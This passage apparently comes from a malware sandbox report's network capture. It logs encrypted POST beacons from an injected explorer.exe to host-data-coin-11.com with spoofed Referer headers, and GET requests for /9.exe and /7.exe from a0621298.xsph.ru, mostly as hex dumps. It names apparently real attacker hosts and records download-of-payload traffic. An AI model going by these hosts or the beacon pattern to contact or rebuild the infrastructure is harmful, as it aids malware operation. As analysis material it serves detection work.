73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49747	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:58:58.312180042 CET	1112	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qlxnfuhj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: host-data-coin-11.com
Jan 14, 2022 04:58:58.312189102 CET	1112	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3d 98 bc 67 Data Ascii: ?2~236hTkowmFu$f]d=g#-pt7;>VHV]eV7oeGbU0:x:>>UAbb).=^82[S2&e)''s^"s+f\|nLoU5QvZ
Jan 14, 2022 04:58:58.394426107 CET	1112	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:58:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49872	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:46.548856974 CET	13343	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uiswqsy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 216 Host: host-data-coin-11.com
Jan 14, 2022 04:59:46.548882961 CET	13343	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b7 66 5d 02 c8 a1 c1 64 3d 87 d2 12 Data Ascii: ?2~236hTkowmFu$f]d=7Ke4EX&6KIg(?N8n&~kNxO9cJ~c{r0 qI]0H8\|"%J%^}e#K&
Jan 14, 2022 04:59:46.637809038 CET	13343	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 0f 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49873	141.8.194.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:46.778390884 CET	13344	OUT	GET /9.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: a0621298.xsph.ru
Jan 14, 2022 04:59:46.852816105 CET	13346	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 14 Jan 2022 03:59:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
Jan 14, 2022 04:59:46.852864981 CET	13347	IN	Data Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61 Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
Jan 14, 2022 04:59:46.852906942 CET	13348	IN	Data Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
Jan 14, 2022 04:59:46.852942944 CET	13350	IN	Data Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70 Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
Jan 14, 2022 04:59:46.852982044 CET	13351	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
Jan 14, 2022 04:59:46.853029013 CET	13353	IN	Data Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34 Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
Jan 14, 2022 04:59:46.853068113 CET	13354	IN	Data Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35 Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
Jan 14, 2022 04:59:46.853106976 CET	13355	IN	Data Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30 Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
Jan 14, 2022 04:59:46.853146076 CET	13357	IN	Data Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31 Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
Jan 14, 2022 04:59:46.853187084 CET	13358	IN	Data Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33 Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
Jan 14, 2022 04:59:46.927417040 CET	13359	IN	Data Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31 Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1
Jan 14, 2022 04:59:58.987539053 CET	24170	OUT	GET /7.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: a0621298.xsph.ru
Jan 14, 2022 04:59:59.062297106 CET	24176	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 14 Jan 2022 03:59:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49874	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:47.095720053 CET	13405	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://otiidv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: host-data-coin-11.com
Jan 14, 2022 04:59:47.095730066 CET	13405	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b4 66 5d 02 c8 a1 c1 64 02 a4 dc 74 Data Ascii: ?2~236hTkowmFu$f]dt&A}z.[EF!H3qiAcB[y$akN_@`U+wm+-qaS*@6[`r%)W,eblZRoz43kTP@07)&8mls:3
Jan 14, 2022 04:59:47.179227114 CET	13405	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49875	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:47.285541058 CET	13406	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://adiacegte.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: host-data-coin-11.com
Jan 14, 2022 04:59:47.285563946 CET	13406	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b5 66 5d 02 c8 a1 c1 64 3c 82 9c 7c Data Ascii: ?2~236hTkowmFu$f]d<\|V6~@U^:^1['lCC-;!`WTI}L*A52{37CxJlehAS=[inTHBUG EnasX YT
Jan 14, 2022 04:59:47.372786045 CET	13407	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49880	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:50.576308966 CET	17258	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kxdhsiskb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 196 Host: host-data-coin-11.com
Jan 14, 2022 04:59:50.576527119 CET	17258	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b5 66 5d 02 c9 a1 c1 64 2e b1 89 12 Data Ascii: ?2~236hTkowmFu$f]d.45"LxCLB'sp&M:^qAl$V-CwQa!!Ebf"M@\|1.Ha-W{
